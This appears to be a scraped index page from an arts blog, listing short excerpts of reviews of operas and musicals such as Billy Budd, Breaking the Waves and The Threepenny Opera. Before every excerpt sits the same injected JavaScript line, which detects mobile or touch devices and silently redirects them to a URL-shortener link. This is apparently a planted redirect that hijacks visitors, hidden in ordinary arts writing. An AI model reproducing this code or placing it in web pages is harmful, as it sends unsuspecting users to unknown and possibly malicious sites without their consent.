Mapplethorpe and the question of beauty

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Since the mid 20th-century and perhaps earlier, depending on the art form and how radical the practitioners, beauty as a feature of high art has been suspect. Beauty, it’s...

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The beauty of “Billy Budd”

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Out of the near dark an old man hobbles slowly to the front of the stage. With a light illuminating only his face and chest, creating the image of an unfinished man, a half of a...

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West Edge Opera’s “Breaking the Waves”: An interview with Sara LeMesh and Robert Wesley Mason

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); This past week West Edge Opera opened its West Coast premier of composer Missy Mazzoli and librettist Royce Vavrek’s opera, Breaking the Waves. The opera premiered at...

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Visions of Gluck in new politics

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); For some years now West Edge Opera has presented three operas at their summer festival. One of these has been an opera from the baroque or classical periods, which has led to...

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Laugh-a-lot at “Spamalot” in Marin

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); “Bring out your dead! Bring out your dead!” cries the grimy man in tatters. He and his mates are dragging a cart full of bodies through plague-ridden England. Moments...

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Someone’s sneaking ’round the corner …

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Kurt Weill and Bertholt Brecht’s The Threepenny Opera has long been my favorite opera. By the time I was 12 I knew every word of every song in this darkly comic...

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